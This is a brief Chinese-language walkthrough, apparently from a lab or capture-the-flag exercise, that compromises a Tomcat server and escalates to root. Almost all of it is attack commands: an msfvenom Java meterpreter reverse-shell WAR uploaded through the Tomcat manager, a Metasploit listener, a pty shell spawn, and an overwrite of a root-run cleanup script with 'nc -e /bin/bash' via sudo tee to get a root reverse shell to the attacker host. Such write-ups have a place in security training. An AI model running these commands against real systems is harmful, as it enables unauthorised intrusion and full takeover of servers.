1.生成war包,通过tomcat管理后台上传war包

msfvenom -p java/meterpreter/reverse_tcp lhost=192.168.110.128 lport=4444 -f war -o kali.war

2.kali启动msfconsole并进行端口监听

msfconsole
use exploit/multi/handler
set payload java/meterpreter/reverse_tcp
set LHOST 192.168.110.128
set LPORT 4444
exploit

3.建立连接,接下来可以收集系统信息,系统内核漏洞等信息了

image.png

4.获取交互式shell

shell命令中输入的命令不会有结果反馈,这种是非交互式的,如果靶机上有安装python的话可以用下面的语句获得交互式的shell。
meterpreter> shell
meterpreter> python -c ‘import pty;pty. spawn(“/bin/bash”)’

5.查看history。

history
发现一个tidyup.sh脚本
cat /usr/share/cleanup/tidyup.sh
只有root可写
sudo -l
看哪些用户有sudo权限
tee命令
读取标准输入的数据,并将其内容输出成文件
echo “nc -e /bin/bash 192.168.110.128 5555” > shell.txt
用tee命令写tidyup.sh
cat shell.txt | sudo /usr/bin/tee /usr/share/cleanup/tidyup.sh
cat /usr/share/cleanup/tidyup.sh
控制机128Kali
nc -lvvp 5555
提权成功